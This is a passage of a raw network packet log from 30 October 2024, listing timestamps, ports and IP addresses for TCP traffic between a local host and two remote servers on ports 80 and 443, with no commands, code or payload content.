Oct 30, 2024 11:46:48.749543905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749566078 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.749576092 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.791644096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.791656017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.791676044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.791701078 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.791702986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.791713953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.791723967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.791733027 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.791766882 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.792161942 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.792171001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.792210102 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.792224884 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.792234898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.792270899 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.832926989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.832947016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.832962036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.832992077 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.833010912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.865994930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866020918 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866034985 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866043091 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866053104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866061926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866091967 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866095066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866107941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866118908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866127014 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866130114 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866142035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866153002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866162062 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866164923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866173983 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866178036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866189003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866199970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866205931 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866211891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866223097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866236925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866249084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.866266966 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.866298914 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907202005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907248020 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907330990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907342911 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907355070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907365084 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907367945 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907380104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907388926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907392025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907408953 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907428980 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907563925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907644987 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907660007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907671928 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907684088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.907699108 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.907721043 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.949553013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.949615955 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.949671984 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.949683905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.949708939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.949745893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.980515957 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.980575085 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.980643988 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.980685949 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.980843067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.980855942 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.980866909 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.980879068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.980889082 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.980921984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.981009960 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981020927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981062889 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.981396914 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981408119 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981417894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981430054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981436014 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.981441975 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981456041 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.981496096 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.981977940 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.981987953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.982022047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.991627932 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.991681099 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.991750002 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.992047071 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.992064953 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:49.023816109 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.023833990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.023844957 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.023850918 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.023936987 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.023946047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.023947954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.023982048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.024007082 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.024303913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024322033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024334908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024348974 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024354935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.024363041 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024375916 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.024404049 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.024930954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024941921 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024952888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.024981976 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.024993896 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.064752102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.064860106 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.064877033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.064888954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.064965010 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.064980030 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.095102072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095123053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095144987 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095163107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095176935 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095184088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095196009 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095201969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095238924 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.095293045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.095786095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095813990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095848083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.095887899 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.095896959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095910072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095921993 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.095942020 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.095963001 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.138087988 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138104916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138123035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138135910 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138148069 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138160944 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138173103 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138226032 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.138266087 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.138750076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138761044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138772964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138784885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138798952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.138803005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138816118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.138837099 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.138869047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.139503002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.139514923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.139527082 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.139559984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.139580965 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.179351091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.179385900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.179399967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.179487944 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.179532051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.210445881 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210484982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210500956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210520029 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210544109 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210550070 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.210592031 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.210634947 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.210666895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210679054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210730076 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.210804939 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210818052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210829020 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.210860014 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.210900068 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.211146116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211164951 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211179018 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211190939 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211203098 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211205959 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.211250067 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.211759090 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211818933 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.211836100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.211880922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.253566980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253595114 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253616095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253628016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253639936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253652096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253664970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.253691912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.253746033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.253746033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.254204035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254261017 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.254273891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254286051 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254296064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254323006 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.254337072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.254698038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254765034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.254766941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254777908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254789114 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254795074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.254846096 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.294739962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.294759035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.294773102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.294919014 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.325819016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.325884104 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.325948000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.325958967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.325969934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326003075 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326030016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326033115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326041937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326052904 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326081038 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326116085 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326282024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326329947 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326370955 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326384068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326419115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326620102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326632023 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326642036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326689005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326689005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.326970100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326982021 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.326992035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.327023029 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.327049971 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.368736982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.368791103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.368807077 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.368818998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.368849993 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.368865967 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369020939 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369039059 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369055033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369066954 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369076967 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369098902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369138002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369187117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369251013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369261980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369275093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369287968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369301081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369339943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369822025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369833946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369843960 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.369868994 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.369883060 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.370157003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.370168924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.370187998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.370199919 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.370208979 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.370248079 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.370611906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.370665073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.370677948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.370718002 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.410165071 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.410178900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.410191059 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.410218000 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.410239935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441323996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441348076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441359043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441374063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441401958 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441402912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441401958 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441417933 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441447020 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441479921 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441673040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441705942 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441745996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441786051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441826105 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441857100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441864014 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441869974 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441883087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.441895962 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441910028 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.441922903 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.442264080 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.442306995 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.442308903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.442322969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.442343950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.442359924 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.442557096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.442576885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.442588091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.442601919 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.442615986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.442624092 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484323025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484339952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484354019 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484392881 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484414101 CET	58193	80	192.168.2.7	185.215.113.16
